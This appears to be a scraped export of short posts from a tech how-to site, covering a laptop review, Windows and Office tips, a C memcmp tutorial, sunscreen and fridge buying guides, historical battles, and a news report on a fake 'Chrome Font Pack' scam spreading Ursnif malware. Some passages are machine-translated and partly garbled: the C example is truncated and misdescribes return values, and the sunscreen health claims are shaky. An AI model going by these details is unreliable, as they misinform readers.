Windows 8 Pro.\nVery strong wireless connectivity options, including WiFi (802.11a / b / g / n / ac with support of Intel's Dual Band Wireless-AC 7260 chipset), Bluetooth 4.0 LE and Mobile Broadband (HSPA +). There is a microSIM card slot under the battery. You can also configure Near Field Communications (NFC).\nThe ports and slots on the Dell Latitude E7240 are very cleverly placed.\nThe back houses the power connector, plus Ethernet (RJ-45), HDMI and 2 USB 3.0 ports. The left side houses a toggle switch for wireless signals and a smart card slot. The right side has an SD card slot, a third USB 3.0 port, a headphone / microphone combo jack, and a Mini-DisplayPort. These are more extensive ports than what is commonly found on Ultrabooks and are very welcome.\nEfficiency The Windows Experience Index (WEI) of the Latitude E7240 is 6.5, which is impressive, as you would expect with a top Intel processor laptop and 8GB of RAM. The remaining scores are all over 7, with 7.2 for the processor, 7.6 for memory and up to 7.9 for the main hard drive.\nThe Dell Latitude E7240 is a rugged Ultrabook, with impressive performance and great audio output The battery provided with the review model is a 4-cell, 42Wh type located on the underside of the chassis. You will have no problems during a working day with this battery.\nThe sound quality is especially good. Large volume and bass distortion at high volume are minimal for a laptop. Presentations related to music content can easily be streamed to a small audience using the Latitude E7240.\nConclude The Dell Latitude E7240 is a solid and well-connected Ultrabook, with impressive performance and great audio output.\nUnfortunately, it has a poor keyboard and lacks configuration options for the operating system, storage type and capacity, screen resolution, as well as touch support.\nAdvantages\nThe frame is designed to be strong and sturdy Very good performance Mobile broadband (HSPA +) Excellent sound quality Defect\nA bit heavy for an Ultrabook The keyboard is not very comfortable Storage limit Lack of custom options ncG1vNJzZmismaXArq3KnmWcp51ksaa4y2ajmqyZqcKlsYyebmtsYGK%2FpsLInq5mnaiYsq24xKerZmliaravr8dmrKWsopavsLvKZp2oql2XwrS1zZ6qrGWgmryxuMQ%3D\n","link":"/post/excellent-12-5-inch-ultrabook-for-business-people/","section":"post","tags":null,"title":"Excellent 12.5-inch Ultrabook for business people"},{"body":"With so many options, here's how to tell Windows which microphone to use by default.\nYou can set a default microphone in some applications Before you begin, it's worth noting that in some apps (such as Zoom) you can choose your microphone device in the app and that will work independently of your system's audio settings. Windows.\nYou can also specify which microphone you want to use on an app-by-app basis using the hidden menu in Settings. But if you want to set the default microphone system-wide, follow the steps below. Any app that uses Windows' default microphone - which is the default option for most apps - will use this microphone.\nHow to choose the default microphone using Settings You can easily choose your default microphone in Settings. First, open Settings by clicking on the Start menu and selecting the gear icon on the left. You can also press Windows + I for quick opening.\nAlternatively, you can also right-click on the speaker icon in the system tray on the right side of the taskbar and choose Open Sound Settings . Windows will open the Sound Settings screen .\nIn the Settings window , click System.\nOn the System screen , click Sound from the sidebar menu.\n Click Sound from the sidebar menu\nScroll down to the Input section on the Sound screen . In the drop-down menu labeled Choose your input device , choose the microphone you want to use as your default device.\n Select microphone as default device\nAfter you have selected a device from the drop-down menu, Windows will use that device as your default microphone. Then just close Settings.\nHow to choose the default microphone using Control Panel You can also set your default microphone using the classic Control Panel. You can access it using the speaker icon in the system tray, located on the far side of the taskbar opposite the Start menu.\nRight-click the speaker icon in the system tray and select Sounds from the pop-up menu.\n  In the Sound window that appears, click the Recording tab .\n  Next, you will see a list of recording devices recognized by the system, including the microphone. Select the microphone you want to use as default from the list and click the Set Default button .\n  Then the microphone you have selected will have a green check mark next to it in the list, indicating that the microphone is set as the default recording device. The list will also include the words Default Device .\n The microphone you selected will have a green check mark next to it\nClick OK and the Sound window will close. If you need to change back to your default microphone, just select Sounds from the speaker icon in the system tray.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYydnJ%2BZpaHBbrnInKmoqJiku6Z5zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-choose-default-microphone-on-windows-10/","section":"post","tags":null,"title":"How to choose default microphone on Windows 10"},{"body":"PDF documents are mostly used by many people because of the security feature when they do not allow copying data, the file size is not too heavy but contains many types of content. However, in the process of using PDF documents, you may need to insert PDF into Word, so copying PDF data is necessary. Often for copying PDF documents you will immediately think of PDF editing tools. If you are installing Foxit Reader, you only need to use the features available on this tool to copy PDF content without the need for other software. The following article will guide you how to copy content on PDF with Foxit Reader.\nInstructions to copy PDF content on Foxit Reader Step 1:\nFirst of all, users open PDF files with Foxit Reader. Then click on Select and select Select Text and Image to copy the content.\n  Step 2:\nNavigate to the paragraph or content in the PDF that the user wants to copy and then highlight , right-click and select Copy as normal operation.\n  Paste the newly copied content on the PDF into Word or any other interface and we will see the content display as below.\n  Step 3:\nTo copy the image in the PDF file , we will use the Snapshot tool . Click on Snapshot and then enclose the image you want to copy.\n  Step 4:\nWhen the zoning is completed and the mouse is released, a notification is displayed that copied this content to the system clipboard.\n  Now you just need to paste that image into the Word interface.\nWith this Snapshot tool, we can not only work with images, but in case you want to copy content on PDF into paste to another interface as images, you can also use this tool.\n  Copying content with the tool available on Foxit Reader will keep the content format so it will not change the text we copy. With images, you also have the option to copy from PDF into Word or other text file formats.\nSee more:\n5 ways to convert a JPG image file to a PDF file How to number a PDF page How to convert a PDF file to Excel keeps the same format Simple way to convert Excel files to PDF I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZusMCtmGahnmK9pbI%3D\n","link":"/post/how-to-copy-data-in-pdf/","section":"post","tags":null,"title":"How to copy data in PDF"},{"body":" This wikiHow teaches you how to follow friends on Apple Music. You can follow friends using the iTunes app on PC or Mac. You can also link your Facebook account to your Apple Music account and follow your Facebook friends. Open the iTunes...\n Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fobmww4yspqadn6OybrvNZpipqJyaeq7B0qKaZqeeYr2kec6rZKaZkw%3D%3D\n","link":"/post/how-to-follow-someone-on-apple-music-on-pc-or-mac/","section":"post","tags":null,"title":"How to Follow Someone on Apple Music on PC or Mac"},{"body":" This wikiHow teaches you how to burn music onto a CD on a Windows 7 computer. As long as your computer is equipped with the correct hardware, you can burn CDs using Windows 7's built-in Media Player program. Open Start . Click the Windows...\n Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurc1mmK6cmaR6pLCMsKCtoF2stq%2BwzrCqZm8%3D\n","link":"/post/how-to-make-an-audio-cd-with-windows-7/","section":"post","tags":null,"title":"How to Make an Audio CD With Windows 7"},{"body":"Normally, when buying a new Android phone, users often check the specifications such as screen size, processor, RAM, connectivity, sensors, etc. They will also be concerned mind what version of Android is installed on your device, but very few people take time to check unwanted applications on the phone. These applications are called bloatware. They are not really necessary for the normal function of the phone, but only in the form of promotions. For example, some Android phones have the TouchPal keyboard app pre-installed, but you have to pay and upgrade to the premium version if you want some other features.\nHowever, you can get rid of these unwanted software with the bloatware uninstall application. This application requires your Android smartphone to be rooted. You can find out more about how to root your Android phone. However, keep in mind that if you root the device will void its warranty. If you bought an expensive Android phone, it's better not to root your phone and lose your warranty.\nHow to remove bloatware on Android devices How to remove bloatware? Unfortunately, phone providers and manufacturers do not support this. Typically, bloatware is hidden in the system directory without access. Follow the steps below to learn how.\nStep 1: First of all you need to root the Android device\nAs mentioned above, to remove bloatware, you need root access. Most service providers and manufacturers prohibit users from rooting the device and will lose warranty if this is done. You can refer to the article:\nHow to root Android does not need a computer with KingRoot How to root your Android Nougat phone with SuperSU    Step 2 : Create a device backup\nBefore performing system application deletion, you need to back up your device because this process can cause serious problems if done incorrectly. There are many applications and methods for you to perform device backups. Users often use Titanium Backup application. You can refer to the Guide article to backup and store data on your Android device safely.\n  Step 3 : Install the bloatware uninstaller application from Google Play Store\nEnter keywords like \" remove system app\" or \" system app remover \", you will get many results, for example, System App Remover of JUMOBILE.\n    Step 4 : Launch the application\nYou need to grant root permissions when you first run the application. Then perform the removal of unwanted bloatware on Android phones.\n    See more:\nInstructions on how to view SIM / ICCID numbers on Android phones 5 best guitar learning apps for phones 'Wind change' for smartphones with extremely vivid 3D wallpaper How to activate Dark Theme on YouTube for Android Trick to enable Safe Mode on device running Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYybo6iZpKyus7GMrKafrKeWv6Z5zqdkmqaUp7yqsA%3D%3D\n","link":"/post/how-to-remove-bloatware-software-on-android/","section":"post","tags":null,"title":"How to remove bloatware software on Android"},{"body":"Normally to translate a foreign language, we often have to manually enter the words to be translated into the dictionary software which is quite laborious. Therefore, in this article, TipsMake.com will guide you another way that is much more convenient, what words do you want to translate, just put your phone camera to take the word and the software will automatically translate for you. . Very convenient is not it, please refer to the article!\n  Step 1: On your phone, install the Google Translate application, this is Google's foreign language translation software.\nAndroid link: https://play.google.com/store/apps/details?id=com.google.android.apps.translate\u0026amp;hl=en\nLink ISO: https://itunes.apple.com/en/app/google-d%E1%BB%8Bch/id414706506?l=en\u0026amp;mt=8\nStep 2: After installing the application, you open the application and on the interface of the application you choose the language you want to translate, for example here we will translate English into Vietnamese. Next, select the Camera section as shown below:\n  Step 3 : After opening the camera, you bring the camera up and take pictures with English to translate, after taking the software, it will automatically recognize the text on the image.\n  Step 4: You want to translate words just use your finger to scan them and the results will appear above. If you want to translate all the text on the image, then click the Select All button below.\n  Note: The software will only translate when there is an Internet connection, if you want to translate even without a network, you will need to download the language pack to your phone.\nHow to do the following: on the application interface you select Menu and then select Offline translation, in the new window you find the language you want to download and click the download arrow is done.\n  Above is an article on how to translate text with photos taken on your phone, hoping the article will be helpful to you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0uMCtnGasla3BbrLRqKRmqJikwbC%2FjK2YpJ2eYsSqwMdmsKitomK9qbvNng%3D%3D\n","link":"/post/how-to-translate-text-from-photos-taken-with-your-phone/","section":"post","tags":null,"title":"How to translate text from photos taken with your phone"},{"body":"The new MalwareBreakdown security researcher published an analysis of a new type of SocEng (technical method of breaking into the system) forged EITest HoeflerText. When a user visits the infected site, he / she will see a message saying that the Roboto Condensed font cannot be found and requires the user to download and install this font package to view the page. If installing one of these font packages, the computer will be infected with Trojan poisoning, monitor computer activity and dig mines.\nHow does the attack through the Roboto Condensed font work? To perform this type of attack, it is necessary to first hack a website and edit it so that the JavaScript code is added to each page on the website. When the script has been executed, it will make the text on the page be scrawled, looking like it is missing a font. JavaScript will display a dialog box saying that you need to download the font package to continue viewing the page.\nBelow is an example of this scenario.\n  Examples of JavaScript snippets are inserted into the web page\nVisit this hacked site, you will see the word is distorted and unreadable. However, this scenario does not always work smoothly on hacked pages. For example, in the article of MalwareBreakDown, https://malwarebreakdown.com page displays text with nonsense characters.\n  Update Roboto Condensed font to continue viewing the page\nBut on another hacked page, the page still displays normal text.\n  The text displayed normally on the page has been hacked\nIf you use Chrome, the font download will be called Chrome Font Pack. If using Mozilla, it will be named Mozilla Font Pack.\n  Font download notification on Firefox Mozilla\nOnce you click Update, the script will download the file called chromefp60.exe if you use Chrome or mozillafp60.exe if you use Firefox. At that time, the alert will turn into a save guide and install the downloaded file.\n  Instructions for executing, installing downloaded files\nHowever, the good news is that the download is not automatic, but the victim must install it manually to be infected. The attacker hopes that by making text distortions and pseudo-warnings from the browser about missing fonts, they can trick users into running the file. Once the file is executed, the malware will be installed on the computer.\nFont Roboto Condensed installing Ursnif malicious code, digging and downloading Trojans According to MalwareBreakDown, the attacker behind Roboto Condensed Font Pack always rotates using different types of malware. Currently, these malware include digging tools for Monero mines, Trojan.Downloaders and Ursnif computer activity tracking malware. Although no good but most dangerous malware is Ursnif.\nUrsnif silently runs in the background, while recording whatever you type on the keyboard, what web page you visit or if you copy any text to the clipboard. This can cause sensitive information about commercial transactions, user names - passwords, financial information .\nBecause an attacker who constantly changes malware types will install them on the user's computer, it will not be surprising if we see extortion in the future.\nChrome Font Pack warning text\nThe \"Roboto Condensed\" font was not found.\nNhững trang web bạn đang thử tải được hiển thị không đúng Hãy sửa lỗi lỗi và hiển thị tiếp, bạn có thể cập nhật \"Chrome Font Pack\".\nManufacturer: Google Inc. All Rights Reserved. Current version: Chrome Font Pack 54.0.2785.89 Latest version: Chrome Font Pack 60.0.3112.90\nMozilla Font Pack warning text\nThe \"Roboto Condensed\" font was not found.\nNhững trang web bạn đang thử tải được hiển thị không đúng Hãy sửa lỗi lỗi và hiển thị tiếp, bạn cần cập nhật \"Mozilla Font Pack\".\nManufacturer: Mozilla Corporation. Current version: Mozilla Font Pack 53.0.2785.89 Latest version: Mozilla Font Pack 60.0.3112.90\nncG1vNJzZmismaXArq3KnmWcp51kv7Cuzq2mZp6fo8Fur86nm56mo5qxbrXNrKuapJxiuqK41pqpnmWfo3q6u9SrZJynnaXCtbHR\n","link":"/post/roboto-font-condensed-install-malware-on-your-computer/","section":"post","tags":null,"title":"Roboto Font Condensed install malware on your computer"},{"body":"The following article details you how to set print margins in Excel.\n  Setting margins for pages in Excel is an indispensable operation for print jobs after calculations. To set the margins for the printed page, follow these steps:\nStep 1: Go to Home tab -\u0026gt; PageLayout -\u0026gt; click on the arrow below:\n  Step 2: The Page SetUp dialog box appears with the following options:\n- Top: distance of upper margin to printed paper.\n- Bottom: the distance of the bottom margin compared to the printed paper.\n- Left: the distance of the left margin compared to the printed paper.\n- Right: the distance of the right margin compared to the printed paper.\n- In the Center on page:\n+ If checked, Horizontally: Align all the tables with the paper compared to the paper printed horizontally.\n+ If the Hori check box is selected : Align the table evenly compared to the paper printed horizontally.\n- Options:\n+ Print: Print the spreadsheet.\n+ printPreview: Print preview .\n+ Options : Other options.\n  - Depending on the size of the spreadsheet you set the print margins accordingly.\n- For example, when selecting print preview mode, PrintPreview spreadsheet is displayed:\n  - In addition, you can set the type of paper to print vertical or horizontal or paper size by switching to the Page tab :\n+ Orientation: Select paper orientation: Portrait - portrait , Landscape - horizontal, \u0026nbsp;choose paper size in Page size:\n  Above is a detailed guide on how to set print margins in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjKmYoJ1doq6zs8inqmahnmKyua%2FEpQ%3D%3D\n","link":"/post/set-page-margins-in-excel/","section":"post","tags":null,"title":"Set page margins in Excel"},{"body":"The function int memcmp (const void * str1, const void * str2, size_t n)) compares the first n bytes of two strings str1 and str2.\nDeclare the function memcmp () in C Below is the declaration for memcmp () in C:\nint memcmp ( const void * str1 , const void * str2 , size_t n )  Parameters str1 - This is the pointer to a memory block.\nstr2 - This is a pointer to a memory block.\nn - This is the number of bytes to be compared.\nReturns the value If\nIf the value\u0026gt; 0 is returned, this function indicates that str2 is shorter than str1.\nIf the value = 0 is returned, this function indicates that str1 is equal to str2.\nFor example The following C program illustrates the usage of memcmp () in C:\n#include #include int main () { char str1 [ 15 ]; char str2 [ 15 ]; int ret ; memcpy ( str1 , \"abcdef\" , 6 ); memcpy ( str2 , \"ABCDEF\" , 6 ); ret = memcmp ( str1 , str2 , 5 ); if ( ret \u0026gt; 0 ) { printf ( \"Chuoi str2 la ngan hon chuoi str1\" ); } else if ( ret Compiling and running the above C program will result:\n  According to Tutorialspoint\nPrevious article: Function memchr () in C\nNext lesson: Function memcpy () in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bsp5uknryvecyepJyloGK2r3nC\n","link":"/post/the-function-memcmp-in-c/","section":"post","tags":null,"title":"The function memcmp () in C"},{"body":"QuanTriMang - In the following article, we will present some basic steps to turn off the Social Connector function and avoid the complexities in the Microsoft Office 2010 product set, in this test is Outlook.\nFirst, open Outlook 2010, click File\u0026gt; Options :\n  In the Outlook Options window, select Add-Ins\u0026gt; Go . :\n  Uncheck the Microsoft Outlook Social Connector box and click OK :\n  And from now on, you will no longer see any connections from outside and interfere with your work. If you want to use this function again, just check the Microsoft Outlook Social Connector box as above and click OK .\nCompletely remove Outlook Social Connector feature:\nIn other cases, if you absolutely do not want to use Outlook Social Connector , log into the system administrator account, and open the following link:\nC: Program FilesMicrosoft OfficeOffice14\nThen find the file SOCIALCONNECTOR.DLL and SOCIALPROVIDER.DLL. Please delete or rename the file from * .DLL to * .backup to prevent possible risks:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmec6uq6Wnn6B6tLvCopilZZOku6%2Bxwq2mq2WWmq61wdGeZKKmXaSzp7XCnmRraGFl\n","link":"/post/turn-off-the-outlook-social-connector-feature-in-office-2010/","section":"post","tags":null,"title":"Turn off the Outlook Social Connector feature in Office 2010"},{"body":"If you want to upgrade to Windows 10 Technical Preview from Windows 7 and Windows 8.1, users must launch the WindowsTechncialPreview.exe file provided by Microsoft. Windows will then receive a message to upgrade to Windows 10 Technical Preview from Windows Update so that users can download and upgrade .\n  However, if you change your mind and don't want to upgrade to Windows 10 Technical Preview, you must remove the WindowsTechncialPreview.exe file from Windows Update. Usually the choice that users think of is to use the System Restore feature to restore Windows to a state before launching WindowsTechncialPreview.exe\n  But if you don't want to spend a lot of time through System Restore, you can apply the following method.\nAccess Control Panel → Programs , and click View installed updates . Now find the update with the code KB2990214 or KB3050265 and right-click it and select Uninstall. If you are using Windows 8.1, go to the update with the code KB3044374 or KB3050267 and remove as above.\n  After you have removed the update, restart Windows and finish.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B1zayrmqScYsSqusOorqxlYWV6trzDmqueZZmjeri1zZ2msKtdbHp5fQ%3D%3D\n","link":"/post/uninstall-windows-10-update-in-windows-7-8-1/","section":"post","tags":null,"title":"Uninstall Windows 10 update in Windows 7 / 8.1"},{"body":"SPF is an important indicator of sunscreen - an indispensable cosmetic in the care and protection of the skin of both women and men. So, what is SPF? What does it mean? This article will help you answer that question.\ncontent What is the SPF? Sun protection index how much is good? A few notes when choosing to buy sunscreen Where should i buy sunscreen?   What is the SPF? The full name SPF is the Sun protection factor, according to the FDA, a measure of the UVB protection used in sunscreens. This index is calculated by the number of hours and percentage of UV protection when using sunscreen on the skin.\nThe lowest SPF is 15 and the highest is 100. According to studies, 1 SPF will be able to protect the skin and limit the harmful effects of UVB rays in about 10 minutes.\nYou can understand the meaning of SPF on sunscreen in two ways:\nUnderstand the time of UV protection: That is, take the SPF multiplied by 10 to calculate the time to protect the skin, against the harmful effects of UVB rays in minutes. For example, a sunscreen with an SPF of 30, the time to protect the skin from the harmful effects of UVB rays is 300 minutes. Understand the percentage against UV rays: If put in perfect condition, sunscreen with SPF of 15 will block about 93.4% of harmful effects from UVB rays, SPF 30 is about 96.7%, SPF 50 is about 98%. However, this rate is only relative in a certain time.   Sun protection index how much is good? Most people will think that the higher the SPF, the better the sun's ability to protect against UV rays. However, the fact that this concept is not entirely true. The reason is because:\nSunscreens with high SPF are not necessarily suitable for the skin of users Sunscreens with high SPF tend to focus more on UVB protection than UVA protection. The duration of sun protection of sunscreens with an SPF of over 60 is no more than the SPF 50. But if you use a high-SPF type for a long time will easily cause the phenomenon of clogged pores and skin damage. This is also a cause of signs of aging for the skin. So in fact, how much sunscreen is a good sunscreen?\nDermatologists recommend that we use sunscreens with an SPF of 30 to SPF 60.\nSunscreens with an SPF of less than 30 will not work as expected. However, if your skin condition is inflamed and inflamed acne, you should only use sunscreens with an index of 15-30 to avoid skin irritation.\nFor creams with a high index of 60-100, it should be used only in special skin areas to avoid the sun such as the skin being treated for melasma or allergy to sunlight.\n  A few notes when choosing to buy sunscreen When choosing to buy sunscreen, besides SPF, you should also pay attention to some of the following factors:\nShould choose broad spectrum sunscreen (Broad spectrum)\nAs you know, UVB is the cause of dark skin and is also the cause of skin cancer. And UVA, while not causing sunburn, penetrating deeply into the skin leading to aging including wrinkles, age spots or sagging condition . For this reason, when choosing sunscreen you Be sure to choose a cream that can protect against both effects from UVA and UVB rays. Often these creams are called broad-spectrum sunscreens and often have the words Broad Spectrum or Broad spectrum UVA / UVB.\nConcerned about the water resistance of the cream\nMost people often use sunscreen when going to the beach, going out, so the water resistance of the cream is also a factor that you should consider when choosing. The waterproof cream is not only suitable for swimming, but on hot summer days it is also great for those who sweat regularly. However, not drifting does not mean waterproof, they will only be able to protect your skin from 40-80 underwater.\nAvoid some of the ingredients below\nSunscreen will have a lot of chemical components, you should know and avoid the chemicals that cause negative effects to the skin such as:\nOxybenzone: This ingredient has a great effect of absorbing ultraviolet rays, but many studies show that they absorb ultraviolet rays through . skin and blood. They can break down hormones, damage cells and lead to skin cancer. Retinyl palmitate: Research done on animals shows that this substance may increase the risk of skin cancer when they are exposed to direct sunlight. Paraben: This is the most widely used preservative in cosmetic products. Parabens may act similarly to estrogen estrogen - one of the main causes of breast cancer. Although the chemical has not been published in its association as a contributing factor to cancer, be sure not to choose creams that contain this ingredient. Choose creams with clear origins\nThe sunscreen market is quite diverse and complex. So, choose for yourself a brand of sunscreen reputation, which is recommended by many users as well as experts.\nWhere should i buy sunscreen? To buy quality sunscreen products, make sure you can visit the website: META.vn or directly through the address below for more detailed advice:\nHanoi: 56 Duy Tan - Dich Vong Hau - Cau Giay. Hotline: 024.3568.6969 Ho Chi Minh City: 716-718 Dien Bien Phu - Ward 10 - District 10. Hotline: 028.3833.3366 ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjpbNutM6wZKatk516tMHNrJqrnZWjeqq%2FjKCmqJxdm7yzedKpnWZtYGLAsbKMbGdmp6JiwLGyjGps\n","link":"/post/what-is-spf-how-much-sunscreen-is-good-for-spf-50-spf-30-or-spf-15/","section":"post","tags":null,"title":"What is Spf? How much sunscreen is good for Spf 50, Spf 30 or Spf 15?"},{"body":"The Marathon, the war in Cajamarca, the Battle of Waterloo, . are important battles that contribute to changing the fate of nations and nations around the world.\nThe secret of the most special death cases in world history Listed the 10 most notorious pirates in history 1. The Marathon   In 490 BC, Greece and the mighty Persian empire were at war. The reason is that the Persian emperor Darius I sent messengers to Greece and asked the city states to pay land and water. But the Spartans and the Athensians in the two most powerful cities of Greece refused and took the messenger to behead. This made Darius I extremely angry and decided to conduct the expedition of Theraso of Greece. But thanks to the unity of the Greek people, the Persians were quickly pushed back.\nThe Persian Emperor Darius I did not flinch, after two years of preparing the forces and draft, he invaded Athens with 600 boats and 10 thousand troops. Darius I hopes to conquer this place in 5 days.\n  However, in the Marathon Valley, 42km from Athens, the miracle happened. Greek troops with fewer troops but with high fighting spirit, taking advantage of the terrain defeated the powerful army of Persia. As a result, the Athens army easily repel the invaders, destroying more than 6,400 Persian soldiers while only losing 200 soldiers.\nAfter the Marathon, a series of colonial rebellions broke out against the Persian Empire. Many nations escaped slavery, many countries regained their sovereignty, the Persian empire gradually weakened and had to give up the conspiracy to invade the small nation nearby.\n2. The fight in Cajamarca In 1532, the Spanish suddenly launched a bold attack on the mighty Inca Empire. This Cajamarca battle kicked off the bloody invasion of European empires on Native American tribes.\n  In April 1532, the Spanish explorer named Francisco Pizarro and his 168 entourage arrived in Peru, the land of ancient Incas. Pizarro asked Emperor Atahualpa to convert to Christianity. King Atahualpa did not accept that request and took the Bible to the floor as a challenge.\nThis action was the trigger for the attack from the Spanish army, a war that took place on November 16, 1532. Pizarro with 168 entourage armed with rifles, divine powers and breakthroughs smashed the army of the Inca empire of 8,000, with only combat tactics and simple weapons.\nKing Atahualpa was captured alive and gave himself a free ransom for the Spaniards with the amount of gold filled with the room he was holding, estimated to be up to $ 250 million. Pizarro agreed to the deal, but when the Incas requisitioned all the possessions in the kingdom to redeem their king, the Spanish explorer immediately wished.\nThe Spanish continued to detain King Atahualpa and demand more ransom. Finally, when King Atahualpa was exhausted, the Spanish ended his life in August 1533.\nSoon after, Pizarro formed the city of Lima and it became the center of Peru. Pizarro's victory paved the way for the invasion of European colonists to a series of later kingdoms in the Americas.\n3. Battle of Waterloo In 1814, European countries were too afraid of Napoleon's ability to hold the army to re-unite Napoleon Bonaparte. The unbeaten emperor was abdicated and banished to a small island in the Mediterranean.\n  But the king did not sit still, knowing that the French people still supported him, he secretly escaped from the confinement and returned to the country. Upon receiving the news, the French king then sent troops to arrest him, but all of this army arrived at another army to take Napoleon to finally return under the command of the old emperor.\nThe coalition of Britain, Austria, Russia and Prussia decided to attack Napoleon in the village of Waterloo due to fear that the power of the French emperor would cause the entire European nation to lose sovereignty.\nNoon on June 18, 1815, the official war took place. The French troops had been in a series of intense attacks, but the allies led by Wellington had fiercely resisted. The posture was inclined to Napoleon's army, the line was broken by the French. But at that moment, the Prussian army pulled in, breaking through the right wing of Napoleon's army.\n  At that time, Wellington's army also countered and caused the French to retreat in confusion. Napoleon left the battlefield, the coalition forces continued to pursue the French army. The French army suffered heavy losses, 25,000 soldiers died and were injured, about 9,000 soldiers were arrested, the allied army lost about 23,000 people.\nNapoleon returned to Paris, and abdicated on June 22, leaving the throne to his son. Later, he was exiled to the island of Saint Helena and died there in 1821.\nThe victory of this war, led him to rise to the superpower position at any time, while helping Europe escape the hegemony, bringing peace, paving the way for the reunification of Germany later.\n4. Battle of Stalingrad On July 17, 1942, the Stalingrad war began to take place in the context of unbeaten German troops. Soviet troops were occupied by the German army to 90% of the city.\n  With a will to fight, the Red Army stood firm, holding 10% of the remaining city until the winter and simultaneously attacking two noses on the German 6th Corps at Stalingrad in November. Surrounded, German army subjected to starvation, cold and successive attacks of the Soviet Union, Hitler still did not agree to let this army retreat. By February 1943, the 6th Army was defeated, 841,000 Germans were destroyed. The Red Army repelled the invaders from Stalingrad.\nThis is the first time that the invading army of the German fascist country has been defeated in a major battle, nearly a quarter of the Soviet-German full-scale army was destroyed. The Soviet victory in this battle was seen as a turning point in the political, military and psychological decisions of World War II and the turning point of humanity in the twentieth century. From here, the Allied army fell from a position of defeat, shifting to a counter-attack phase, gradually repelling the Fascist forces across the fronts.\nncG1vNJzZmismaXArq3KnmWcp51kgW64xKCcp5yRp8ZursCtq6Wdo2LBqa3TZpqhmZ6csm7Ax55kn5mTmnqwsoytn55lp6S%2FrbCMoqVmoJmowbC%2B2A%3D%3D\n","link":"/post/4-legendary-battles-that-change-the-face-of-the-world-in-history/","section":"post","tags":null,"title":"4 legendary battles that change the face of the world in history"},{"body":"In this article, let TipsMake.com share with you extremely useful experiences to choose a beautiful and most suitable fridge for your kitchen!\nRefrigerators have long been an indispensable device in every home kitchen with the role of preserving fresh foods, processed foods, ice, refreshments, cooling drinks . Because Therefore, to help the kitchen space always neat, beautiful and comfortable, do not overlook the experience of choosing the appropriate refrigerator for the following kitchen space!\n  A suitable fridge will help kitchen space more beautiful.\nFridge design On the market today there are many different types of refrigerators such as mini refrigerators , 2-wing refrigerators , 3-door refrigerators , Multi Door refrigerators , Side by Side refrigerators . are distinguished based on the number of wings / number of drawers Cabinet and cabinet capacity:\nMini fridges usually have 1 wing, less than 150 liters capacity so the cabinet design looks quite compact, suitable for the small kitchen of the motel room. Refrigerator with 2 wings, 3 wings, Multi Door, Side by Side has 2 - 6 wings, with a large capacity of about 200 - 700 liters so the cabinet design is bigger and is preferred by households.\nNormally, Multi Door and Side by Side cabinets will have a larger size than 2-door refrigerators and 3-door refrigerators. If your kitchen is small and medium, you should choose a refrigerator with 2-3 wings, but if your kitchen has a large area, you can prioritize the Multi Door and Side by Side cabinets.   Side by Side refrigerators suitable for large kitchens.\nExterior design of the refrigerator Mini refrigerators are usually quite simple designs with the main colors being silver and black, helping the kitchen space not to be cramped, stuffy, stuffy, and easy to harmonize with all types of furniture. Therefore, if you only need to use a mini fridge, you just need to choose the high, low style and color of the refrigerator.\nRefrigerators with 2 or more wings when compared to mini refrigerators are extremely diverse in color, cabinet material, handle design . so you will also need to pay more attention when choosing:\nAbout the color of the cabinet : In addition to the main traditional colors of silver, slippery black, now there are many models of refrigerators with more alternative colors such as brown, red, blue and may include additional graphics. textures or gradation effects. Therefore, you can base on the kitchen furniture style, your preferences, feng shui . to choose the appropriate cabinet color. Regarding the shell material : Currently, many models of refrigerators with 2 wings, 3 wings, Multi Door, Side by Side are designed with a refrigerator surface with toughened glass, good scratch resistance, easy to clean, giving a feeling of Comfort and luxury. Therefore, if you want your family's kitchen to be more modern and sophisticated, do not miss the glass-fridge! About the control panel, handles . : Many models of refrigerators are now equipped with touch control panels, hidden handles, external ice trays . both convenient and modern. The external design refrigerators with these utilities will also help your kitchen look more comfortable and 'luxurious'.   Fridge with glass, patterned is a breaking point for the kitchen.\nInterior design of refrigerator Besides design and external design, the internal design is also an important factor in deciding whether a refrigerator is really beautiful or not. Regarding the interior of the refrigerator, you will need to note a few points:\nThe drawers must be arranged appropriately according to use demand. For example, if you mainly use the freezer compartment, it is more appropriate to choose a lower freezer compartment than the freezer compartment, if you need to preserve many types of vegetables, tubers, fruits, it will need a fridge great vegetables . The tray system of the cabinet whether made of plastic or glass should also ensure good bearing, easy to move to adjust the height of each compartment, easy to clean and clean. However, a refrigerator with a glass tray system will bring a more comfortable and high-class feeling. Control systems, lighting systems should be arranged in a scientific and convenient manner. Material cabinets must be durable, easy to clean, when closed to ensure tight closures.   The fridge is arranged scientifically to make it more convenient.\nRefrigerator features A beautiful refrigerator, but without all the necessary features, it will not satisfy you.\nMini fridges usually have the main feature of cooling and freezing with simple technology. Types of refrigerators with 2 wings, 3 wings, Multi Door, Side by Side have more and more modern technologies and features, in addition to cooling and ice making, there can be more energy saving, deodorizing resistance. bacteria, freezing, taking ice outside . Usually, the more modern refrigerators you have, the more advanced the design and the more expensive it will be. Therefore, you need to consider in detail the usage needs and the investment cost for refrigerators to get the most reasonable choice.\n  The more utilities a refrigerator has, the more advanced the design.\nRefrigerator brand Prestigious refrigerator manufacturers will often have a variety of models, making it easy to choose an exterior design product that best suits the kitchen furniture and features that best meet your needs. . At the same time, choosing refrigerators from major brands will also give you peace of mind about the quality and durability of the refrigerator.\nThe prestigious refrigerator manufacturers you can refer to are: Panasonic, Sharp, Samsung, Hitachi, LG, Electrolux, Toshiba, Mitsubishi .\nHopefully the above information will be useful, helping you have the facilities to choose a refrigerator that both helps preserve fresh, quality food, and helps the kitchen space is beautiful, tidy and comfortable. 